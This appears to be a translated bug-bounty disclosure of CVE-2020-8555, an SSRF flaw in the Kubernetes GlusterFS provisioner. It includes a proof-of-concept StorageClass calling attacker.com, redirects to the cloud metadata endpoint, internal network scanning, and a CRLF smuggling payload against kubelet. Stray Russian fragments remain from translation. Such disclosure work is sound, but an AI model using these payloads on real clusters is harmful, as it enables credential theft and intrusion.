Ko ne gre samo za ranljivosti Kubernetesa ...

Opomba. prevod: avtorji tega članka podrobno govorijo o tem, kako jim je uspelo odkriti ranljivost CVE-2020–8555 v Kubernetesu. Čeprav se sprva ni zdel zelo nevaren, se je v kombinaciji z drugimi dejavniki izkazalo, da je njegova kritičnost pri nekaterih ponudnikih oblakov največja. Več organizacij je specialiste izdatno nagradilo za njihovo delo.

Ko ne gre samo za ranljivosti Kubernetesa ...

Kdo smo mi

Sva dva francoska varnostna raziskovalca, ki sta skupaj odkrila ranljivost v Kubernetesu. Naša imena so Brice Augras in Christophe Hauquiert, vendar smo na mnogih platformah Bug Bounty znani kot Reeverzax oziroma Hach:

Kaj se je zgodilo?

Ta članek je naš način, da delimo, kako se je navaden raziskovalni projekt nepričakovano spremenil v najbolj vznemirljivo pustolovščino v življenju lovcev na hrošče (vsaj za zdaj).

Kot verjetno veste, imajo lovci na hrošče nekaj pomembnih lastnosti:

  • živijo od pice in piva;
  • delajo, ko vsi drugi spijo.

Nismo nobena izjema od teh pravil: običajno se srečujemo ob koncih tedna in preživljamo neprespane noči s hekanjem. Toda ena od teh noči se je končala na zelo nenavaden način.

Sprva smo se nameravali sestati, da bi se pogovorili o sodelovanju pri CTF naslednji dan. Med pogovorom o varnosti Kubernetes v okolju upravljanih storitev smo se spomnili stare ideje o SSRF (Ponarejanje zahtev na strani strežnika) in se odločil, da ga poskusim uporabiti kot napadalni skript.

Ob 11. uri smo se usedli za raziskovanje in zgodaj zjutraj odšli spat, zelo zadovoljni z rezultati. Prav zaradi te raziskave smo naleteli na program MSRC Bug Bounty in prišli do izkoriščanja stopnjevanja privilegijev.

Minilo je nekaj tednov/mesecev in naš nepričakovan rezultat je prinesel eno najvišjih nagrad v zgodovini Azure Cloud Bug Bounty – poleg tiste, ki smo jo prejeli od Kubernetesa!

Odbor za varnost izdelkov Kubernetes je na podlagi našega raziskovalnega projekta objavil CVE-2020–8555.

Zdaj bi rad čim bolj razširil informacije o najdeni ranljivosti. Upamo, da boste cenili najdbo in delili tehnične podrobnosti z drugimi člani skupnosti infosec!

Torej, tukaj je naša zgodba ...

Kontekst

Da bi bolje razumeli, kaj se je zgodilo, si najprej poglejmo, kako Kubernetes deluje v okolju, ki ga upravlja oblak.

Ko instancirate gručo Kubernetes v takem okolju, je za upravljalni sloj običajno odgovoren ponudnik oblaka:

Ko ne gre samo za ranljivosti Kubernetesa ...
Nadzorna plast se nahaja na obodu ponudnika oblaka, vozlišča Kubernetes pa na obodu stranke.

Za dinamično dodeljevanje nosilcev se uporablja mehanizem za njihovo dinamično zagotavljanje iz ozadja zunanjega pomnilnika in primerjavo s PVC (trajni zahtevek za nosilec, tj. zahteva za nosilec).

Ko je PVC ustvarjen in vezan na StorageClass v gruči K8s, nadaljnja dejanja za zagotavljanje glasnosti prevzame upravitelj krmilnika kube/oblaka (njegovo točno ime je odvisno od izdaje). (Opomba. prevod: Več o CCM smo že pisali na primeru implementacije za enega izmed ponudnikov oblaka tukaj.)

Obstaja več vrst ponudnikov, ki jih podpira Kubernetes: večina jih je vključenih v orkestrsko jedro, druge pa upravljajo dodatni ponudniki, ki so nameščeni v sklopih v gruči.

V naši raziskavi smo se osredotočili na notranji mehanizem zagotavljanja količine, ki je prikazan spodaj:

Ko ne gre samo za ranljivosti Kubernetesa ...
Dinamično zagotavljanje nosilcev z uporabo vgrajenega ponudnika Kubernetes

Skratka, ko je Kubernetes nameščen v upravljanem okolju, je upravitelj krmilnika odgovoren ponudnik oblaka, vendar zahteva za ustvarjanje nosilca (številka 3 v zgornjem diagramu) zapusti notranje omrežje ponudnika oblaka. In tukaj stvari postanejo res zanimive!

Scenarij vdora

V tem razdelku bomo pojasnili, kako smo izkoristili zgoraj omenjeni potek dela in dostopali do notranjih virov ponudnika storitev v oblaku. Prav tako vam bo pokazal, kako lahko izvajate določena dejanja, kot je pridobivanje notranjih poverilnic ali stopnjevanje privilegijev.

Ena preprosta manipulacija (v tem primeru Ponarejanje zahtev na strani storitve) je pomagala preseči odjemalsko okolje v grozde različnih ponudnikov storitev pod upravljanimi K8.

V naši raziskavi smo se osredotočili na ponudnika GlusterFS. Kljub dejstvu, da je nadaljnje zaporedje dejanj opisano v tem kontekstu, so Quobyte, StorageOS in ScaleIO dovzetni za isto ranljivost.

Ko ne gre samo za ranljivosti Kubernetesa ...
Zloraba mehanizma za zagotavljanje dinamičnega obsega

Med analizo razreda shranjevanja GlusterFS v izvorni kodi odjemalca Golang smo zamenjatilida pri prvi zahtevi HTTP (3), poslani med ustvarjanjem nosilca, na konec URL-ja po meri v parametru resturl dodano /volumes.

Odločili smo se, da se te dodatne poti znebimo z dodajanjem # v parametru resturl. Tukaj je prva konfiguracija YAML, ki smo jo uporabili za testiranje polslepe ranljivosti SSRF (lahko preberete več o polslepem ali polslepem SSRF, npr. tukaj — pribl. prev.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Nato smo uporabili binarno datoteko za oddaljeno upravljanje gruče Kubernetes kubectl. Običajno vam ponudniki oblakov (Azure, Google, AWS itd.) omogočajo pridobitev poverilnic za uporabo v tem pripomočku.

Zahvaljujoč temu sem lahko uporabil svojo "posebno" datoteko. Kube-controller-manager je izvedel nastalo zahtevo HTTP:

kubectl create -f sc-poc.yaml

Ko ne gre samo za ranljivosti Kubernetesa ...
Odgovor z vidika napadalca

Kmalu za tem smo lahko prejeli tudi HTTP odgovor ciljnega strežnika - preko ukazov describe pvc ali get events v kubectl. In res: ta privzeti gonilnik Kubernetes je preveč podroben v svojih opozorilih/sporočilih o napakah ...

Tukaj je primer s povezavo do https://www.google.frnastavite kot parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Ko ne gre samo za ranljivosti Kubernetesa ...

Pri tem pristopu smo bili omejeni na poizvedbe, kot je HTTP POST in ni mogel dobiti vsebine telesa odgovora, če je bila povratna koda 201. Zato smo se odločili izvesti dodatno raziskavo in ta hekerski scenarij razširili z novimi pristopi.

Razvoj našega raziskovanja

  • Napredni scenarij št. 1: uporaba preusmeritve 302 z zunanjega strežnika za spremembo metode HTTP za zagotavljanje bolj prilagodljivega načina zbiranja notranjih podatkov.
  • Napredni scenarij #2: Avtomatizirajte skeniranje LAN in odkrivanje notranjih virov.
  • Napredni scenarij št. 3: uporaba HTTP CRLF + tihotapljenje (»tihotapljenje zahtev«) za ustvarjanje prilagojenih zahtev HTTP in pridobivanje podatkov, pridobljenih iz dnevnikov krmilnika kube.

Tehnične specifikacije

  • Raziskava je uporabila storitev Azure Kubernetes (AKS) z različico Kubernetes 1.12 v regiji severne Evrope.
  • Zgoraj opisani scenariji so bili izvedeni v najnovejših izdajah Kubernetesa, z izjemo tretjega scenarija, ker potreboval je Kubernetes, zgrajen z različico Golang ≤ 1.12.
  • Zunanji strežnik napadalca - https://attacker.com.

Napredni scenarij #1: Preusmerjanje zahteve HTTP POST na GET in prejemanje občutljivih podatkov

Prvotna metoda je bila izboljšana s konfiguracijo napadalčevega strežnika za vrnitev 302 HTTP Retcodeza pretvorbo zahteve POST v zahtevo GET (4. korak v diagramu):

Ko ne gre samo za ranljivosti Kubernetesa ...

Prva zahteva (3), ki prihaja od stranke GlusterFS (Upravitelj krmilnika), ima tip POST. Z upoštevanjem teh korakov smo ga lahko spremenili v GET:

  • Kot parameter resturl v StorageClass je navedeno http://attacker.com/redirect.php.
  • Končna točka https://attacker.com/redirect.php odgovori s kodo stanja HTTP 302 z naslednjo glavo lokacije: http://169.254.169.254. To je lahko kateri koli drug interni vir - v tem primeru je povezava za preusmeritev uporabljena zgolj kot primer.
  • Privzeto knjižnica net/http Golang preusmeri zahtevo in pretvori POST v GET s statusno kodo 302, kar povzroči zahtevo HTTP GET do ciljnega vira.

Če želite prebrati telo odgovora HTTP, morate storiti describe PVC predmet:

kubectl describe pvc xxx

Tukaj je primer odziva HTTP v formatu JSON, ki smo ga lahko prejeli:

Ko ne gre samo za ranljivosti Kubernetesa ...

Zmogljivosti najdene ranljivosti so bile takrat omejene zaradi naslednjih točk:

  • Nezmožnost vstavljanja glav HTTP v odhodno zahtevo.
  • Nezmožnost izvedbe zahteve POST s parametri v telesu (to je priročno, če zahtevate vrednost ključa iz primerka etcd, ki se izvaja na 2379 vrata, če se uporablja nešifriran HTTP).
  • Nezmožnost pridobivanja vsebine telesa odgovora, ko je bila statusna koda 200 in odgovor ni imel JSON Content-Type.

Napredni scenarij #2: skeniranje lokalnega omrežja

Ta napol slepa metoda SSRF je bila nato uporabljena za skeniranje notranjega omrežja ponudnika oblaka in anketiranje različnih storitev poslušanja (primer metapodatkov, Kubelet itd.) na podlagi odgovorov kube krmilnik.

Ko ne gre samo za ranljivosti Kubernetesa ...

Najprej smo določili standardna prisluškovalna vrata komponent Kubernetes (8443, 10250, 10251 itd.), nato pa smo morali avtomatizirati postopek skeniranja.

Ker je ta način skeniranja virov zelo specifičen in ni združljiv s klasičnimi skenerji in orodji SSRF, smo se odločili ustvariti svoje delavce v bash skriptu, ki avtomatizirajo celoten proces.

Na primer, za hitro skeniranje obsega 172.16.0.0/12 notranjega omrežja je bilo vzporedno zagnanih 15 delavcev. Zgornji obseg IP je bil izbran samo kot primer in se lahko spremeni glede na obseg IP vašega ponudnika storitev.

Če želite skenirati en naslov IP in ena vrata, morate narediti naslednje:

  • izbrišite nazadnje označen StorageClass;
  • odstranite prejšnji preverjeni zahtevek za trajno količino;
  • spremenite vrednosti IP in Port sc.yaml;
  • ustvarite StorageClass z novim IP in vrati;
  • ustvarite nov PVC;
  • izvleči rezultate skeniranja z uporabo opisa za PVC.

Napredni scenarij št. 3: vbrizgavanje CRLF + tihotapljenje HTTP v »starih« različicah gruče Kubernetes

Če je poleg tega ponudnik strankam ponudil stare različice gruče K8s и jim omogočil dostop do dnevnikov kube-controller-manager, je učinek postal še pomembnejši.

Dejansko je veliko bolj priročno, da napadalec po lastni presoji spremeni zahteve HTTP, ki so namenjene pridobivanju polnega odziva HTTP.

Ko ne gre samo za ranljivosti Kubernetesa ...

Za izvedbo zadnjega scenarija so morali biti izpolnjeni naslednji pogoji:

  • Uporabnik mora imeti dostop do dnevnikov kube-controller-manager (kot na primer v Azure LogInsights).
  • Grozd Kubernetes mora uporabljati različico Golanga, nižjo od 1.12.

Razmestili smo lokalno okolje, ki je simuliralo komunikacijo med odjemalcem GlusterFS Go in lažnim ciljnim strežnikom (zaenkrat ne bomo objavili PoC).

Ugotovljeno je bilo ranljivost, ki vpliva na različice Golanga, nižje od 1.12, in hekerjem omogoča izvajanje napadov tihotapljenja HTTP/CRLF.

S kombinacijo napol slepega SSRF, opisanega zgoraj вместе s tem smo lahko pošiljali zahteve po svojih željah, vključno z zamenjavo glav, metode HTTP, parametrov in podatkov, ki jih je kube-controller-manager nato obdelal.

Tukaj je primer delujoče "vabe" v parametru resturl StorageClass, ki izvaja podoben scenarij napada:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultat je napaka nenaročen odgovor, sporočilo o katerem se zabeleži v dnevnikih krmilnika. Zahvaljujoč privzeto omogočeni podrobnosti se tam shrani tudi vsebina odzivnega sporočila HTTP.

Ko ne gre samo za ranljivosti Kubernetesa ...

To je bila naša najučinkovitejša »vaba« v okviru dokazovanja koncepta.

S tem pristopom smo lahko izvedli nekaj naslednjih napadov na gruče različnih upravljanih ponudnikov k8s: stopnjevanje privilegijev s poverilnicami na instancah metapodatkov, glavni DoS prek (nešifriranih) zahtev HTTP na glavnih instancah etcd itd.

Aftermath

V uradni izjavi Kubernetes o ranljivosti SSRF, ki smo jo odkrili, je bila ocenjena CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Če upoštevamo samo ranljivost, povezano z obodom Kubernetes, vektor integritete (vektor integritete) se kvalificira kot Noben.

Vendar nas je ocenjevanje možnih posledic v kontekstu upravljanega storitvenega okolja (in to je bil najzanimivejši del naše raziskave!) spodbudilo k prerazvrstitvi ranljivosti v oceno Kritični CVSS10/10 za številne distributerje.

Spodaj so dodatne informacije, ki vam bodo pomagale razumeti naše premisleke pri ocenjevanju možnih vplivov v oblačnih okoljih:

Integriteta

  • Izvajajte ukaze na daljavo z uporabo pridobljenih internih poverilnic.
  • Reproduciranje zgornjega scenarija z uporabo metode IDOR (nezaščiten neposredni objektni sklic) z drugimi viri, najdenimi v lokalnem omrežju.

Pravilnik o zasebnosti

  • Vrsta napada Bočno gibanje zahvaljujoč kraji poverilnic v oblaku (na primer API za metapodatke).
  • Zbiranje informacij s skeniranjem lokalnega omrežja (ugotavljanje SSH verzije, HTTP strežnik različice, ...).
  • Zberite podatke o primerkih in infrastrukturi s preverjanjem notranjih API-jev, kot je API za metapodatke (http://169.254.169.254, ...).
  • Kraja podatkov o strankah z uporabo poverilnic v oblaku.

Razpoložljivost

Vsi scenariji izkoriščanja, povezani z vektorji napadov na celovitost, se lahko uporabijo za uničujoča dejanja in vodijo do nedosegljivosti glavnih primerkov iz območja odjemalca (ali katerega koli drugega).

Ker smo bili v upravljanem okolju K8s in smo ocenjevali vpliv na integriteto, si lahko predstavljamo veliko scenarijev, ki bi lahko vplivali na razpoložljivost. Dodatni primeri vključujejo poškodovanje baze podatkov etcd ali kritičen klic Kubernetes API.

Časovnica

  • 6. december 2019: Ranljivost prijavljena MSRC Bug Bounty.
  • 3. januar 2020: tretja oseba je razvijalce Kubernetes obvestila, da se ukvarjamo z varnostno težavo. In jih prosil, naj SSRF obravnavajo kot notranjo (in-core) ranljivost. Nato smo predložili splošno poročilo s tehničnimi podrobnostmi o viru težave.
  • 15. januar 2020: Zagotovili smo tehnična in splošna poročila razvijalcem Kubernetes na njihovo zahtevo (prek platforme HackerOne).
  • 15. januar 2020: razvijalci Kubernetes so nas obvestili, da se napol slepa injekcija SSRF + CRLF za pretekle izdaje šteje za ranljivost v jedru. Takoj smo nehali analizirati perimetre drugih ponudnikov storitev: ekipa K8s se je zdaj ukvarjala z glavnim vzrokom.
  • 15. januar 2020: Prejeta nagrada MSRC prek HackerOne.
  • 16. januar 2020: Kubernetes PSC (Odbor za varnost izdelkov) je prepoznal ranljivost in prosil, naj ostane skrivnost do sredine marca zaradi velikega števila potencialnih žrtev.
  • 11. februar 2020: prejeta Google VRP nagrada.
  • 4. marec 2020: prek HackerOne prejeta nagrada Kubernetes.
  • 15. marec 2020: Prvotno načrtovano javno razkritje je bilo preloženo zaradi situacije COVID-19.
  • 1. junij 2020: Skupna izjava Kubernetes in Microsoft o ranljivosti.

TL; DR

  • Pijemo pivo in jemo pico :)
  • V Kubernetesu smo odkrili ranljivost v jedru, čeprav tega nismo nameravali storiti.
  • Izvedli smo dodatno analizo grozdov različnih ponudnikov oblakov in lahko povečali škodo, ki jo povzroči ranljivost, da bi prejeli dodatne osupljive bonuse.
  • V tem članku boste našli veliko tehničnih podrobnosti. Z veseljem bi se o njih pogovorili z vami (Twitter: @ReeverZax & @__hach_).
  • Izkazalo se je, da so vse vrste formalnosti in poročanje trajalo veliko dlje od pričakovanega.

reference

PS od prevajalca

Preberite tudi na našem blogu:

Vir: www.habr.com

Dodaj komentar